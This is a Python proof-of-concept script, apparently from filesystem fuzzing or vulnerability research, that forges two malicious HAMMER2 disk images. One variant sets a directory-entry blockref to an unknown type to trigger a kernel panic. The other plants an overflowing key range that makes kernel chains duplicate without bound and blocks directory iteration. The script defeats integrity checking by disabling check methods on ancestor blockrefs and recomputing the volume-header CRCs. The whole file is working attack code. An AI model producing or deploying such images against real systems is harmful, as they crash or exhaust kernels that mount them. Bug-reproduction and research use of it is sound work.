#!/usr/bin/env python3
"""
DF-5784 / DF-5785 forger (pass-3, hammer2_chain.c).

Base image: newfs_hammer2 -L testvol; one file "f1" (1KB); unmounted.

Two crafted variants, both patching the *dirent blockref of f1* living in
the PFS root inode block's direct blockset (pfs_blk + 0x200 + k*128):

  craftA.img  (DF-5785)  D.type    := 0xAA (170, unknown type)
      -> first lookup that selects this array slot runs hammer2_chain_get()
         -> hammer2_chain_alloc() raw panic("unrecognized blockref type")
         (no CRC/check machinery involved for the child; ancestors get
          methods=0x00 = CHECK_NONE so the edited blocks pass loading).

  craftB.img  (DF-5784)  D.key     := 0xC000000000000001
                          D.keybits := 63
      -> key + (1<<63) wraps past 2^64: comparator range end
         (0x4000000000000000) < range beg (0xC000...001).  hammer2_chain_cmp
         now returns -1 ("fully to the left") against every other chain,
         mis-placing the chain in the parent's rbtree where
         hammer2_chain_find()'s RB_SCAN prunes it (comp<0 descends RIGHT
         only) -> every lookup re-creates a duplicate chain from the same
         media bref -> unbounded hammer2_chain growth; the iteration
         key_next (key + 1<<keybits) also wraps below key_beg so directory
         iteration can never pass this entry.

Check-code strategy (proven in DF-2616 session): plain XXH64 recompute of
ancestor checks mismatches the kernel's coverage, so instead every bref on
the crafted path gets methods=0x00 (HAMMER2_CHECK_NONE): testcheck() then
returns 1 unconditionally.  Only the three volume-header CRC32Cs need
recomputation (done on ALL FOUR volhdr copies so any boot-block selection
picks up the forge).

Path edited:   pfs_blk  (PFS root inode block, holds f1's DIRENT bref)
Covered by:    PFS bref in sroot_blk        -> methods=0
sroot_blk edit covered by: sroot bref in each volhdr -> methods=0
volhdr edits  -> icrc/vcrc recomputed.
"""
import struct, sys

# ---------------- XXH64 (matches xxhash/xxhash.c; not needed for the forge
# itself, kept for parity with the DF-2616 rig self-test) -------------------
P1 = 0x9E3779B185EBCA87
P2 = 0xC2B2AE3D27D4EB4F
P3 = 0x165667B19E3779F9
P4 = 0x85EBCA77C2B2AE63
P5 = 0x27D4EB2F165667C5
M = (1 << 64) - 1

def _rl(x, r):
    return ((x << r) | (x >> (64 - r))) & M

def _round(acc, val):
    return (_rl((acc + (val * P2)) & M, 31) * P1) & M

def _merge(h, v):
    return (_rl(h ^ _round(0, v), 27) * P1 + P4) & M

def xxh64(data, seed=0):
    n = len(data); i = 0
    if n >= 32:
        v1 = (seed + P1 + P2) & M
        v2 = (seed + P2) & M
        v3 = seed & M
        v4 = (seed - P1) & M
        while i + 32 <= n:
            v1 = _round(v1, int.from_bytes(data[i:i+8], 'little'));  i += 8
            v2 = _round(v2, int.from_bytes(data[i:i+8], 'little'));  i += 8
            v3 = _round(v3, int.from_bytes(data[i:i+8], 'little'));  i += 8
            v4 = _round(v4, int.from_bytes(data[i:i+8], 'little'));  i += 8
        h = (_rl(v1, 1) + _rl(v2, 7) + _rl(v3, 12) + _rl(v4, 18)) & M
        for v in (v1, v2, v3, v4):
            h = _merge(h, v)
    else:
        h = (seed + P5) & M
    h = (h + n) & M
    while i + 8 <= n:
        k = (_rl(int.from_bytes(data[i:i+8], 'little') * P2 & M, 31) * P1) & M
        h = (_rl(h ^ k, 27) * P1 + P4) & M
        i += 8
    if i + 4 <= n:
        h = (_rl(h ^ ((int.from_bytes(data[i:i+4], 'little') * P1) & M), 23) * P2 + P3) & M
        i += 4
    while i < n:
        h = (_rl(h ^ ((data[i] * P5) & M), 11) * P1) & M
        i += 1
    h ^= h >> 33; h = (h * P2) & M
    h ^= h >> 29; h = (h * P3) & M
    h ^= h >> 32
    return h

assert xxh64(b"") == 0xEF46DB3751D8E999

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

# ---------------- hammer2 on-disk constants ---------------------------------
MAGIC = 0x48414D3205172011
RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
SET_COUNT = 4
T_EMPTY, T_INODE, T_INDIRECT, T_DATA, T_DIRENT = 0, 1, 2, 3, 4
VOLHDR_STRIDE = 0x40000
CHECK_NONE_METHODS = 0x00

WRAP_KEY = 0xC000000000000001
WRAP_KEYBITS = 63
BAD_TYPE = 0xAA

def bref_parse(buf, off):
    (t, methods, copyid, keybits, vradix, flags) = struct.unpack_from('<6B', buf, off)
    leaf_count = struct.unpack_from('<H', buf, off + 6)[0]
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, keybits=keybits, key=key,
                data_off=doff, off=off, leaf_count=leaf_count)

def recompute_volhdr_crcs(img, v):
    c1 = iscsi_crc32(bytes(img[v+512:v+1024]))
    struct.pack_into('<I', img, v + 0x1E0 + 6 * 4, c1)
    c0 = iscsi_crc32(bytes(img[v+0:v+508]))
    struct.pack_into('<I', img, v + 0x1E0 + 7 * 4, c0)
    cv = iscsi_crc32(bytes(img[v+0:v+0xFFFC]))
    struct.pack_into('<I', img, v + 0xFFFC, cv)

def walk(img):
    vols = [v for v in range(0, 4 * VOLHDR_STRIDE, VOLHDR_STRIDE)
            if struct.unpack_from('<Q', img, v)[0] == MAGIC]
    assert vols, "no volume headers"
    # sroot bref (per volhdr copy; all must agree on data_off)
    sroot_bref_offs = []
    sroot_blk = None
    for v in vols:
        found = None
        for i in range(SET_COUNT):
            boff = v + INODE_DATA_BLOCKSET + i * BREF
            br = bref_parse(img, boff)
            if br['data_off']:
                found = boff
                blk = br['data_off'] & ~RADIX_MASK
                if sroot_blk is None:
                    sroot_blk = blk
                assert sroot_blk == blk, "volhdr copies disagree on sroot"
                break
        assert found is not None, "no sroot bref in volhdr @%#x" % v
        sroot_bref_offs.append(found)
    # PFS inode bref in sroot_blk (the "testvol" PFS root)
    pfs_boff = None
    pfs_blk = None
    for i in range(SET_COUNT):
        boff = sroot_blk + INODE_DATA_BLOCKSET + i * BREF
        br = bref_parse(img, boff)
        if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
            pfs_boff, pfs_blk = boff, br['data_off'] & ~RADIX_MASK
            break
    assert pfs_boff is not None, "no PFS inode bref under sroot"
    # f1's DIRENT bref in the PFS root inode block direct blockset
    dirent_boff = None
    for i in range(SET_COUNT):
        boff = pfs_blk + INODE_DATA_BLOCKSET + i * BREF
        br = bref_parse(img, boff)
        print("[walk] pfs_blk+%d: type=%d key=%#018x keybits=%d doff=%#x"
              % (i, br['type'], br['key'], br['keybits'], br['data_off']))
        if br['type'] == T_DIRENT and dirent_boff is None:
            dirent_boff = boff
    assert dirent_boff is not None, "no DIRENT bref under PFS root"
    return vols, sroot_bref_offs, sroot_blk, pfs_boff, pfs_blk, dirent_boff

def forge(img, vols, sroot_bref_offs, pfs_boff, dirent_boff, what):
    # 1. patch the dirent bref itself
    if what == 'A':
        struct.pack_into('<B', img, dirent_boff + 0x00, BAD_TYPE)
        print("[forge A] DIRENT type -> %#x @%#x" % (BAD_TYPE, dirent_boff))
    else:
        struct.pack_into('<Q', img, dirent_boff + 0x08, WRAP_KEY)
        struct.pack_into('<B', img, dirent_boff + 0x03, WRAP_KEYBITS)
        print("[forge B] DIRENT key -> %#018x keybits -> %d @%#x"
              % (WRAP_KEY, WRAP_KEYBITS, dirent_boff))
    # 2. ancestors: CHECK_NONE so edited blocks load without check failure
    struct.pack_into('<B', img, pfs_boff + 0x01, CHECK_NONE_METHODS)
    for boff in sroot_bref_offs:
        struct.pack_into('<B', img, boff + 0x01, CHECK_NONE_METHODS)
    # 3. volhdr CRCs
    for v in vols:
        recompute_volhdr_crcs(img, v)
    return img

def main():
    base = sys.argv[1]
    outA, outB = sys.argv[2], sys.argv[3]
    img = bytearray(open(base, 'rb').read())
    vols, sroot_bref_offs, sroot_blk, pfs_boff, pfs_blk, dirent_boff = walk(img)
    print("[walk] vols=%s sroot_blk=%#x pfs_boff=%#x pfs_blk=%#x dirent=%#x"
          % ([hex(v) for v in vols], sroot_blk, pfs_boff, pfs_blk, dirent_boff))
    open(outA, 'wb').write(bytes(forge(bytearray(img), vols, sroot_bref_offs,
                                       pfs_boff, dirent_boff, 'A')))
    open(outB, 'wb').write(bytes(forge(bytearray(img), vols, sroot_bref_offs,
                                       pfs_boff, dirent_boff, 'B')))
    print("FORGE_OK")

if __name__ == '__main__':
    main()